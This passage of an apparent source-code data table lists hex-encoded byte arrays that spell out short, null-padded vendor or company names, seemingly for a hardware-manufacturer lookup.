0x74, 0x69, 0x61,\r\n0x50, 0x72, 0x6f, 0x67, 0x65, 0x6e, 0x79, 0x00,\r\n0x4d, 0x6f, 0x62, 0x69, 0x77, 0x69, 0x72, 0x65,\r\n0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x77,\r\n0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x56, 0x61,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x64, 0x69, 0x61,\r\n0x53, 0x65, 0x6e, 0x69, 0x65, 0x6e, 0x74, 0x00,\r\n0x49, 0x74, 0x74, 0x69, 0x6d, 0x54, 0x65, 0x63,\r\n0x4e, 0x75, 0x6c, 0x65, 0x64, 0x73, 0x00, 0x00,\r\n0x4d, 0x69, 0x72, 0x61, 0x46, 0x69, 0x74, 0x6e,\r\n0x59, 0x61, 0x63, 0x6f, 0x75, 0x62, 0x41, 0x75,\r\n0x50, 0x74, 0x48, 0x61, 0x6e, 0x53, 0x75, 0x6e,\r\n0x48, 0x6f, 0x6c, 0x6c, 0x54, 0x65, 0x63, 0x68,\r\n0x56, 0x61, 0x6c, 0x6c, 0x6f, 0x78, 0x4f, 0x79,\r\n0x42, 0x6f, 0x77, 0x65, 0x72, 0x73, 0x57, 0x69,\r\n0x44, 0x65, 0x69, 0x53, 0x61, 0x6c, 0x65, 0x73,\r\n0x33, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x44, 0x69,\r\n0x51, 0x61, 0x43, 0x61, 0x66, 0x65, 0x00, 0x00,\r\n0x57, 0x69, 0x2d, 0x4e, 0x65, 0x78, 0x74, 0x00,\r\n0x43, 0x75, 0x6d, 0x6d, 0x69, 0x6e, 0x67, 0x73,\r\n0x52, 0x65, 0x76, 0x6f, 0x6c, 0x76, 0x00, 0x00,\r\n0x44, 0x69, 0x70, 0x6c, 0x2d, 0x49, 0x6e, 0x67,\r\n0x5a, 0x61, 0x64, 0x61, 0x72, 0x61, 0x53, 0x74,\r\n0x4c, 0x61, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x67,\r\n0x49, 0x2d, 0x53, 0x79, 0x73, 0x00, 0x00, 0x00,\r\n0x43, 0x68, 0x6c, 0x6f, 0x72, 0x69, 0x64, 0x65,\r\n0x53, 0x74, 0x72, 0x61, 0x74, 0x61, 0x57, 0x6f,\r\n0x5a, 0x79, 0x70, 0x74, 0x6f, 0x6e, 0x69, 0x74,\r\n0x55, 0x72, 0x61, 0x64, 0x69, 0x6f, 0x00, 0x00,\r\n0x46, 0x75, 0x6c, 0x61, 0x6e, 0x45, 0x6c, 0x65,\r\n0x54, 0x61, 0x6c, 0x65, 0x6f, 0x00, 0x00, 0x00,\r\n0x49, 0x73, 0x69, 0x73, 0x49, 0x6d, 0x61, 0x67,\r\n0x4c, 0x61, 0x6e, 0x62, 0x6f, 0x77, 0x61, 0x6e,\r\n0x45, 0x2d, 0x46, 0x75, 0x65, 0x6c, 0x00, 0x00,\r\n0x4c, 0x67, 0x43, 0x6e, 0x73, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x65, 0x6d, 0x6d, 0x65, 0x72, 0x49,\r\n0x47, 0x6e, 0x68, 0x53, 0x6f, 0x66, 0x74, 0x77,\r\n0x50, 0x69, 0x76, 0x6f, 0x74, 0x61, 0x6c, 0x00,\r\n0x51, 0x69, 0x6e, 0x67, 0x44, 0x61, 0x6f, 0x48,\r\n0x53, 0x6c, 0x69, 0x63, 0x61, 0x6e, 0x53, 0x70,\r\n0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x4e,\r\n0x45, 0x63, 0x68, 0x6f, 0x73, 0x74, 0x72, 0x65,\r\n0x5a, 0x61, 0x6b, 0x6c, 0x61, 0x64, 0x45, 0x6c,\r\n0x57, 0x69, 0x7a, 0x69, 0x74, 0x64, 0x6f, 0x6e,\r\n0x41, 0x64, 0x6c, 0x65, 0x72, 0x45, 0x6c, 0x72,\r\n0x42, 0x69, 0x6f, 0x6e, 0x69, 0x6d, 0x65, 0x00,\r\n0x53, 0x65, 0x6e, 0x73, 0x65, 0x69, 0x74, 0x00,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x43,\r\n0x50, 0x65, 0x6f, 0x70, 0x6c, 0x65, 0x50, 0x6f,\r\n0x4d, 0x69, 0x2d, 0x5a, 0x6f, 0x6e, 0x65, 0x54,\r\n0x56, 0x65, 0x6c, 0x6c, 0x6f, 0x00, 0x00, 0x00,\r\n0x4c, 0x6f, 0x67, 0x69, 0x70, 0x69, 0x78, 0x00,\r\n0x54, 0x72, 0x69, 0x64, 0x6f, 0x6e, 0x69, 0x63,\r\n0x43, 0x65, 0x72, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x43, 0x61, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x4e, 0x72, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x6d, 0x78, 0x53, 0x61, 0x73, 0x00, 0x00,\r\n0x46, 0x65, 0x6e, 0x67, 0x66, 0x61, 0x6e, 0x42,\r\n0x44, 0x68, 0x65, 0x6d, 0x61, 0x78, 0x49, 0x6e,\r\n0x43, 0x61, 0x62, 0x6c, 0x65, 0x77, 0x6f, 0x72,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x63, 0x68, 0x69,\r\n0x53, 0x70, 0x42, 0x65, 0x73, 0x74, 0x00, 0x00,\r\n0x54, 0x63, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e,\r\n0x44, 0x65, 0x78, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x42, 0x72, 0x75, 0x73, 0x61, 0x45, 0x6c, 0x65,\r\n0x48, 0x65, 0x72, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x4c, 0x67, 0x2d, 0x45, 0x72, 0x69, 0x63, 0x73,\r\n0x44, 0x74, 0x69, 0x47, 0x72, 0x6f, 0x75, 0x70,\r\n0x44, 0x6f, 0x67, 0x48, 0x75, 0x6e, 0x74, 0x65,\r\n0x43, 0x6f, 0x64, 0x65, 0x74, 0x65, 0x6b, 0x54,\r\n0x45, 0x2d, 0x50, 0x72, 0x69, 0x6d, 0x65, 0x00,\r\n0x4f, 0x72, 0x62, 0x69, 0x74, 0x4d, 0x65, 0x72,\r\n0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x50, 0x61,\r\n0x45, 0x6c, 0x69, 0x6e, 0x65, 0x54, 0x65, 0x63,\r\n0x59, 0x6f, 0x72, 0x6b, 0x49, 0x6e, 0x73, 0x74,\r\n0x41, 0x76, 0x69, 0x77, 0x65, 0x73, 0x74, 0x00,\r\n0x4d, 0x61, 0x74, 0x73, 0x75, 0x6e, 0x69, 0x63,\r\n0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x54, 0x69,\r\n0x46, 0x69, 0x62, 0x6f, 0x63, 0x6f, 0x6d, 0x57,\r\n0x4b, 0x62, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e,\r\n0x43, 0x6f, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x00,\r\n0x50, 0x65, 0x6e, 0x47, 0x65, 0x6e, 0x65, 0x72,\r\n0x44, 0x65, 0x67, 0x72, 0x65, 0x61, 0x6e, 0x65,\r\n0x56, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x77, 0x61,\r\n0x42, 0x72, 0x6f, 0x61, 0x64, 0x6c, 0x69, 0x6e,\r\n0x4e, 0x72, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x4e, 0x62, 0x53, 0x6f, 0x66, 0x74, 0x77, 0x61,\r\n0x42, 0x6f, 0x72, 0x65, 0x61, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x72, 0x61, 0x73, 0x70, 0x65, 0x6b,\r\n0x43, 0x72, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x4c,\r\n0x54, 0x68, 0x69, 0x6e, 0x67, 0x2d, 0x54, 0x61,\r\n0x4c, 0x75, 0x6d, 0x69, 0x67, 0x6f, 0x6e, 0x00,\r\n0x45, 0x78, 0x61, 0x62, 0x6c, 0x6f, 0x78, 0x00,\r\n0x45, 0x6c, 0x79, 0x73, 0x69, 0x61, 0x47, 0x65,\r\n0x5a, 0x65, 0x61, 0x6c, 0x61, 0x62, 0x73, 0x53,\r\n0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x53, 0x65,\r\n0x43, 0x6f, 0x72, 0x65, 0x6f, 0x73, 0x00, 0x00,\r\n0x46, 0x6f, 0x72, 0x65, 0x73, 0x69, 0x67, 0x68,\r\n0x4d, 0x65, 0x74, 0x61, 0x2d, 0x4e, 0x65, 0x74,\r\n0x41, 0x6b, 0x67, 0x41, 0x63, 0x6f, 0x75, 0x73,\r\n0x52, 0x65, 0x6c, 0x61, 0x79, 0x32, 0x00, 0x00,\r\n0x41, 0x6d, 0x70, 0x74, 0x6f, 0x77, 0x6e, 0x53,\r\n0x43, 0x6f, 0x73, 0x74, 0x65, 0x72, 0x54, 0x45,\r\n0x57, 0x65, 0x74, 0x65, 0x6c, 0x65, 0x63, 0x6f,\r\n0x49, 0x6d, 0x61, 0x67, 0x69, 0x6b, 0x49, 0x6e,\r\n0x5a, 0x65, 0x6e, 0x45, 0x79, 0x65, 0x00, 0x00,\r\n0x4d, 0x6f, 0x64, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x69, 0x73, 0x74, 0x61, 0x72, 0x44, 0x69,\r\n0x47, 0x68, 0x69, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x45, 0x6e, 0x73, 0x65, 0x71, 0x75, 0x65, 0x6e,\r\n0x4d, 0x74, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x43, 0x69, 0x72, 0x63, 0x6c, 0x65, 0x52, 0x65,\r\n0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x45,\r\n0x44, 0x61, 0x65, 0x68, 0x6f, 0x49, 0x26, 0x54,\r\n0x48, 0x75, 0x62, 0x62, 0x65, 0x6c, 0x6c, 0x50,\r\n0x4d, 0x69, 0x6e, 0x73, 0x75, 0x6e, 0x67, 0x45,\r\n0x54, 0x68, 0x75, 0x68, 0x00, 0x00, 0x00, 0x00,\r\n0x59, 0x69, 0x43, 0x68, 0x69, 0x70, 0x4d, 0x69,\r\n0x56, 0x78, 0x6c, 0x45, 0x74, 0x65, 0x63, 0x68,\r\n0x41, 0x78, 0x69, 0x6c, 0x73, 0x70, 0x6f, 0x74,\r\n0x55, 0x6d, 0x70, 0x69, 0x45, 0x6c, 0x65, 0x74,\r\n0x50, 0x72, 0x6f, 0x73, 0x79, 0x73, 0x74, 0x00,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x69, 0x73, 0x74,\r\n0x43, 0x61, 0x6c, 0x64, 0x65, 0x72, 0x6f, 0x00,\r\n0x42, 0x65, 0x74, 0x74, 0x65, 0x72, 0x62, 0x6f,\r\n0x49, 0x6f, 0x74, 0x61, 0x43, 0x6f, 0x6d, 0x70,\r\n0x43, 0x68, 0x72, 0x6f, 0x6d, 0x6c, 0x65, 0x63,\r\n0x4c, 0x69, 0x74, 0x65, 0x6d, 0x61, 0x78, 0x45,\r\n0x43, 0x6f, 0x6e, 0x63, 0x65, 0x70, 0x74, 0x69,\r\n0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x2d, 0x49,\r\n0x56, 0x69, 0x76, 0x61, 0x6c, 0x6e, 0x6b, 0x00,\r\n0x50, 0x6f, 0x72, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x69, 0x65, 0x44, 0x69, 0x67, 0x69, 0x74,\r\n0x57, 0x6f, 0x68, 0x6c, 0x65, 0x72, 0x54, 0x65,\r\n0x44, 0x61, 0x69, 0x68, 0x61, 0x6e, 0x53, 0x63,\r\n0x50, 0x65, 0x74, 0x61, 0x74, 0x65, 0x6c, 0x00,\r\n0x4b, 0x69, 0x6e, 0x6f, 0x76, 0x61, 0x00, 0x00,\r\n0x53, 0x65, 0x6d, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x6f, 0x53, 0x69,\r\n0x48, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x61, 0x79, 0x61, 0x6e, 0x41, 0x75, 0x64,\r\n0x52, 0x6f, 0x70, 0x65, 0x78, 0x49, 0x6e, 0x64,\r\n0x54, 0x72, 0x61, 0x63, 0x65, 0x4c, 0x69, 0x76,\r\n0x4b, 0x65, 0x65, 0x6e, 0x48, 0x69, 0x67, 0x68,\r\n0x4e, 0x65, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00,\r\n0x53, 0x77, 0x65, 0x64, 0x61, 0x49, 0x6e, 0x66,\r\n0x53, 0x6f, 0x79, 0x6f, 0x54, 0x65, 0x63, 0x68,\r\n0x52, 0x61, 0x73, 0x70, 0x62, 0x65, 0x72, 0x72,\r\n0x42, 0x6c, 0x61, 0x73, 0x74, 0x65, 0x72, 0x54,\r\n0x45, 0x66, 0x72, 0x45, 0x75, 0x72, 0x6f, 0x70,\r\n0x52, 0x6f, 0x61, 0x64, 0x2d, 0x54, 0x72, 0x61,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x73, 0x77, 0x69,\r\n0x4b, 0x79, 0x6f, 0x6b, 0x6b, 0x6f, 0x54, 0x73,\r\n0x57, 0x6f, 0x72, 0x6c, 0x64, 0x70, 0x6c, 0x61,\r\n0x56, 0x6c, 0x61, 0x74, 0x61, 0x63, 0x6f, 0x6d,\r\n0x53, 0x61, 0x6e, 0x6a, 0x65, 0x74, 0x54, 0x65,\r\n0x49, 0x74, 0x74, 0x4c, 0x6c, 0x63, 0x00, 0x00,\r\n0x4e, 0x75, 0x6d, 0x65, 0x72, 0x61, 0x00, 0x00,\r\n0x4f, 0x75, 0x79, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x6e, 0x64, 0x61, 0x65, 0x72, 0x43,\r\n0x4f, 0x6e, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63,\r\n0x52, 0x6f, 0x62, 0x6f, 0x74, 0x69, 0x73, 0x00,\r\n0x43, 0x6b, 0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f,\r\n0x42, 0x6f, 0x6c, 0x79, 0x6d, 0x69, 0x6e, 0x00,\r\n0x56, 0x69, 0x65, 0x73, 0x73, 0x6d, 0x61, 0x6e,\r\n0x50, 0x61, 0x79, 0x70, 0x61, 0x6c, 0x00, 0x00,\r\n0x4d, 0x65, 0x74, 0x65, 0x72, 0x47, 0x72, 0x6f,\r\n0x47, 0x6f, 0x6f, 0x64, 0x4d, 0x69, 0x6e, 0x64,\r\n0x53, 0x74, 0x65, 0x70, 0x41, 0x68, 0x65, 0x61,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x49,\r\n0x49, 0x6c, 0x6a, 0x69, 0x6e, 0x45, 0x6c, 0x65,\r\n0x53, 0x74, 0x61, 0x74, 0x65, 0x6c, 0x65, 0x73,\r\n0x5a, 0x65, 0x6e, 0x63, 0x68, 0x65, 0x65, 0x72,\r\n0x41, 0x6e, 0x61, 0x6c, 0x79, 0x74, 0x69, 0x63,\r\n0x42, 0x67, 0x54, 0x26, 0x41, 0x00, 0x00, 0x00,\r\n0x52, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x49, 0x6e,\r\n0x41, 0x6c, 0x6c, 0x64, 0x73, 0x70, 0x00, 0x00,\r\n0x41, 0x74, 0x6c, 0x6f, 0x6e, 0x61, 0x00, 0x00,\r\n0x37, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x53,\r\n0x43, 0x6f, 0x68, 0x65, 0x72, 0x65, 0x54, 0x65,\r\n0x45, 0x6c, 0x69, 0x74, 0x65, 0x4f, 0x70, 0x74,\r\n0x4f, 0x63, 0x65, 0x61, 0x6e, 0x73, 0x65, 0x72,\r\n0x42, 0x65, 0x6e, 0x72, 0x75, 0x69, 0x54, 0x65,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x53, 0x50, 0x41,\r\n0x42, 0x6c, 0x75, 0x65, 0x63, 0x6f, 0x6d, 0x00,\r\n0x42, 0x74, 0x26, 0x43, 0x6f, 0x6d, 0x00, 0x00,\r\n0x47, 0x6f, 0x6f, 0x67, 0x6f, 0x6c, 0x54, 0x65,\r\n0x32, 0x67, 0x69, 0x67, 0x54, 0x65, 0x63, 0x68,\r\n0x58, 0x69, 0x41, 0x6e, 0x4a, 0x69, 0x7a, 0x68,\r\n0x43, 0x79, 0x6e, 0x6f, 0x76, 0x65, 0x00, 0x00,\r\n0x45, 0x6e, 0x65, 0x72, 0x65, 0x73, 0x00, 0x00,\r\n0x54, 0x72, 0x65, 0x6e, 0x64, 0x70, 0x6f, 0x69,\r\n0x44, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x50, 0x61,\r\n0x48, 0x65, 0x6e, 0x61, 0x6e, 0x43, 0x68, 0x65,\r\n0x50, 0x72, 0x69, 0x6d, 0x6d, 0x63, 0x6f, 0x6e,\r\n0x50, 0x65, 0x6e, 0x65, 0x74, 0x65, 0x6b, 0x00,\r\n0x4d, 0x61, 0x78, 0x65, 0x6c, 0x65, 0x72, 0x54,\r\n0x4d, 0x53, 0x65, 0x76, 0x65, 0x6e, 0x53, 0x79,\r\n0x53, 0x74, 0x72, 0x61, 0x68, 0x6c, 0x65, 0x6e,\r\n0x49, 0x61, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x70, 0x6f, 0x74, 0x63, 0x61, 0x6d, 0x00,\r\n0x50, 0x61, 0x79, 0x74, 0x65, 0x72, 0x42, 0x76,\r\n0x39, 0x73, 0x6f, 0x6c, 0x75, 0x74, 0x69, 0x6f,\r\n0x49, 0x63, 0x67, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x59, 0x77, 0x69, 0x72, 0x65, 0x54, 0x65, 0x63,\r\n0x53, 0x70, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x73, 0x75, 0x6e, 0x53, 0x6d, 0x61, 0x73,\r\n0x48, 0x65, 0x72, 0x72, 0x6d, 0x61, 0x6e, 0x6e,\r\n0x57, 0x61, 0x79, 0x74, 0x6f, 0x6f, 0x6c, 0x73,\r\n0x41, 0x72, 0x79, 0x61, 0x6b, 0x61, 0x4e, 0x65,\r\n0x52, 0x63, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x47, 0x65, 0x6f, 0x72, 0x67, 0x65, 0x57, 0x69,\r\n0x53, 0x74, 0x65, 0x77, 0x61, 0x72, 0x74, 0x41,\r\n0x46, 0x6f, 0x72, 0x74, 0x75, 0x6e, 0x65, 0x54,\r\n0x4f, 0x75, 0x73, 0x74, 0x65, 0x72, 0x00, 0x00,\r\n0x49, 0x74, 0x6f, 0x6e, 0x54, 0x65, 0x63, 0x68,\r\n0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x4a, 0x61,\r\n0x59, 0x66, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x53, 0x69, 0x63, 0x68, 0x75, 0x61, 0x6e, 0x49,\r\n0x49, 0x6e, 0x73, 0x70, 0x75, 0x72, 0x53, 0x68,\r\n0x52, 0x66, 0x49, 0x6e, 0x64, 0x75, 0x73, 0x74,\r\n0x33, 0x64, 0x44, 0x69, 0x73, 0x70, 0x6c, 0x61,\r\n0x45, 0x6c, 0x70, 0x72, 0x6f, 0x74, 0x72, 0x6f,\r\n0x45, 0x2d, 0x53, 0x6d, 0x61, 0x72, 0x74, 0x50,\r\n0x4e, 0x65, 0x78, 0x74, 0x62, 0x69, 0x74, 0x43,\r\n0x52, 0x6f, 0x77, 0x6c, 0x65, 0x79, 0x41, 0x73,\r\n0x52, 0x65, 0x76, 0x6f, 0x67, 0x69, 0x49, 0x6e,\r\n0x42, 0x65, 0x61, 0x72, 0x46, 0x6c, 0x61, 0x67,\r\n0x54, 0x68, 0x69, 0x6e, 0x67, 0x6c, 0x6f, 0x62,\r\n0x48, 0x79, 0x64, 0x72, 0x6f, 0x00, 0x00, 0x00,\r\n0x50, 0x61, 0x6e, 0x64, 0x61, 0x63, 0x68, 0x69,\r\n0x43, 0x73, 0x75, 0x6e, 0x53, 0x79, 0x73, 0x74,\r\n0x5a, 0x2d, 0x54, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x63, 0x6f, 0x72, 0x64, 0x61, 0x6e,\r\n0x43, 0x6f, 0x64, 0x61, 0x63, 0x6f, 0x45, 0x6c,\r\n0x48, 0x61, 0x6e, 0x67, 0x5a, 0x68, 0x6f, 0x75,\r\n0x45, 0x6c, 0x61, 0x73, 0x74, 0x69, 0x66, 0x69,\r\n0x4b, 0x6e, 0x6f, 0x77, 0x6c, 0x65, 0x64, 0x67,\r\n0x53, 0x65, 0x6e, 0x73, 0x69, 0x6e, 0x67, 0x74,\r\n0x43, 0x6f, 0x72, 0x65, 0x53, 0x74, 0x61, 0x66,\r\n0x5a, 0x68, 0x6f, 0x6e, 0x67, 0x6d, 0x69, 0x61,\r\n0x53, 0x77, 0x61, 0x6e, 0x6e, 0x43, 0x6f, 0x6d,\r\n0x44, 0x72, 0x6f, 0x67, 0x6f, 0x6f, 0x54, 0x65,\r\n0x54, 0x65, 0x6c, 0x65, 0x6e, 0x65, 0x74, 0x50,\r\n0x53, 0x68, 0x61, 0x64, 0x6f, 0x77, 0x43, 0x72,\r\n0x45, 0x6e, 0x76, 0x69, 0x72, 0x6f, 0x6e, 0x69,\r\n0x54, 0x64, 0x76, 0x69, 0x6e, 0x65, 0x00, 0x00,\r\n0x48, 0x65, 0x6e, 0x67, 0x65, 0x44, 0x6f, 0x63,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x45, 0x6e, 0x65,\r\n0x58, 0x74, 0x72, 0x69, 0x6c, 0x6c, 0x69, 0x6f,\r\n0x52, 0x61, 0x63, 0x6b, 0x73, 0x70, 0x61, 0x63,\r\n0x53, 0x62, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x67, 0x61, 0x74, 0x65, 0x00, 0x00,\r\n0x42, 0x61, 0x73, 0x69, 0x63, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x6c, 0x6c, 0x62, 0x61, 0x75, 0x00,\r\n0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x44, 0x6f,\r\n0x4e, 0x68, 0x6e, 0x45, 0x6e, 0x74, 0x65, 0x72,\r\n0x4e, 0x70, 0x70, 0x45, 0x6c, 0x69, 0x6b, 0x73,\r\n0x46, 0x6f, 0x6e, 0x73, 0x65, 0x65, 0x54, 0x65,\r\n0x44, 0x61, 0x73, 0x63, 0x6f, 0x6d, 0x45, 0x75,\r\n0x4e, 0x61, 0x62, 0x74, 0x6f, 0x00, 0x00, 0x00,\r\n0x43, 0x79, 0x62, 0x65, 0x72, 0x2d, 0x52, 0x61,\r\n0x54, 0x72, 0x6e, 0x70, 0x4b, 0x6f, 0x72, 0x65,\r\n0x43, 0x79, 0x62, 0x65, 0x72, 0x61, 0x00, 0x00,\r\n0x41, 0x72, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x65, 0x6c, 0x6c, 0x65, 0x6e, 0x64, 0x6f,\r\n0x53, 0x6b, 0x73, 0x57, 0x65, 0x6c, 0x64, 0x69,\r\n0x44, 0x69, 0x6e, 0x62, 0x6f, 0x78, 0x53, 0x76,\r\n0x54, 0x68, 0x6f, 0x6d, 0x73, 0x6f, 0x6e, 0x56,\r\n0x4b, 0x79, 0x67, 0x6f, 0x4c, 0x69, 0x66, 0x65,\r\n0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x45,\r\n0x56, 0x6f, 0x69, 0x73, 0x6d, 0x61, 0x72, 0x74,\r\n0x44, 0x32, 0x64, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4f, 0x77, 0x6c, 0x4c, 0x61, 0x62, 0x73, 0x00,\r\n0x41, 0x73, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x6f, 0x73, 0x6c, 0x69, 0x6e, 0x6b, 0x00,\r\n0x57, 0x61, 0x74, 0x65, 0x72, 0x77, 0x6f, 0x72,\r\n0x51, 0x75, 0x61, 0x6e, 0x7a, 0x68, 0x6f, 0x75,\r\n0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x42, 0x65,\r\n0x47, 0x65, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c,\r\n0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x44, 0x6e,\r\n0x41, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63,\r\n0x54, 0x6f, 0x70, 0x63, 0x6f, 0x6e, 0x00, 0x00,\r\n0x57, 0x69, 0x6e, 0x73, 0x74, 0x61, 0x72, 0x44,\r\n0x41, 0x64, 0x64, 0x69, 0x74, 0x65, 0x63, 0x68,\r\n0x46, 0x6f, 0x72, 0x74, 0x2d, 0x54, 0x65, 0x6c,\r\n0x41, 0x6c, 0x70, 0x68, 0x61, 0x53, 0x65, 0x63,\r\n0x50, 0x69, 0x78, 0x61, 0x76, 0x69, 0x41, 0x73,\r\n0x4e, 0x65, 0x78, 0x78, 0x74, 0x53, 0x6f, 0x6c,\r\n0x41, 0x75, 0x64, 0x79, 0x73, 0x73, 0x65, 0x79,\r\n0x58, 0x79, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d,\r\n0x49, 0x6e, 0x65, 0x73, 0x41, 0x70, 0x70, 0x6c,\r\n0x43, 0x75, 0x66, 0x66, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x6f, 0x6c, 0x74, 0x61, 0x4e, 0x65, 0x74,\r\n0x47, 0x69, 0x67, 0x61, 0x73, 0x74, 0x6f, 0x6e,\r\n0x41, 0x26, 0x52, 0x54, 0x65, 0x63, 0x68, 0x00,\r\n0x50, 0x72, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x00,\r\n0x4d, 0x69, 0x6e, 0x69, 0x63, 0x6f, 0x6d, 0x44,\r\n0x42, 0x69, 0x73, 0x63, 0x6f, 0x74, 0x74, 0x69,\r\n0x45, 0x70, 0x65, 0x63, 0x4f, 0x79, 0x00, 0x00,\r\n0x4d, 0x61, 0x69, 0x74, 0x72, 0x69, 0x73, 0x65,\r\n0x53, 0x65, 0x72, 0x65, 0x6c, 0x65, 0x63, 0x00,\r\n0x50, 0x69, 0x63, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x53, 0x74, 0x6f, 0x6e, 0x6b, 0x61, 0x75,\r\n0x44, 0x6f, 0x62, 0x62, 0x73, 0x53, 0x74, 0x61,\r\n0x4d, 0x61, 0x67, 0x6e, 0x65, 0x6d, 0x6f, 0x74,\r\n0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x46, 0x6f,\r\n0x45, 0x66, 0x66, 0x69, 0x67, 0x69, 0x73, 0x47,\r\n0x46, 0x69, 0x6e, 0x69, 0x73, 0x00, 0x00, 0x00,\r\n0x53, 0x6e, 0x64, 0x54, 0x65, 0x63, 0x68, 0x00,\r\n0x53, 0x49, 0x53, 0x69, 0x73, 0x74, 0x65, 0x6d,\r\n0x50, 0x61, 0x74, 0x72, 0x69, 0x6f, 0x74, 0x4d,\r\n0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x4d, 0x65,\r\n0x43, 0x6f, 0x62, 0x79, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x6f, 0x70, 0x69, 0x63, 0x6f, 0x6e, 0x48,\r\n0x46, 0x61, 0x69, 0x72, 0x66, 0x69, 0x65, 0x6c,\r\n0x4d, 0x75, 0x6c, 0x74, 0x69, 0x54, 0x6f, 0x75,\r\n0x45, 0x64, 0x65, 0x6e, 0x49, 0x6e, 0x6e, 0x6f,\r\n0x4d, 0x61, 0x72, 0x71, 0x6d, 0x65, 0x74, 0x72,\r\n0x41, 0x62, 0x62, 0x6f, 0x74, 0x74, 0x50, 0x6f,\r\n0x33, 0x64, 0x4d, 0x61, 0x73, 0x73, 0x61, 0x63,\r\n0x45, 0x61, 0x72, 0x74, 0x68, 0x63, 0x61, 0x6d,\r\n0x41, 0x64, 0x61, 0x6d, 0x73, 0x6f, 0x6e, 0x45,\r\n0x4f, 0x73, 0x61, 0x73, 0x69, 0x54, 0x65, 0x63,\r\n0x43, 0x6f, 0x6d, 0x69, 0x67, 0x6f, 0x00, 0x00,\r\n0x59, 0x6f, 0x73, 0x68, 0x69, 0x6b, 0x69, 0x45,\r\n0x42, 0x69, 0x74, 0x62, 0x6f, 0x78, 0x00, 0x00,\r\n0x5a, 0x70, 0x61, 0x53, 0x6d, 0x61, 0x72, 0x74,\r\n0x4d, 0x69, 0x74, 0x73, 0x75, 0x79, 0x61, 0x4c,\r\n0x51, 0x69, 0x6e, 0x67, 0x64, 0x61, 0x6f, 0x45,\r\n0x43, 0x6f, 0x6e, 0x72, 0x61, 0x64, 0x45, 0x6c,\r\n0x41, 0x72, 0x69, 0x65, 0x73, 0x45, 0x6d, 0x62,\r\n0x45, 0x6e, 0x69, 0x63, 0x65, 0x4e, 0x65, 0x74,\r\n0x50, 0x61, 0x63, 0x69, 0x64, 0x61, 0x6c, 0x00,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x63, 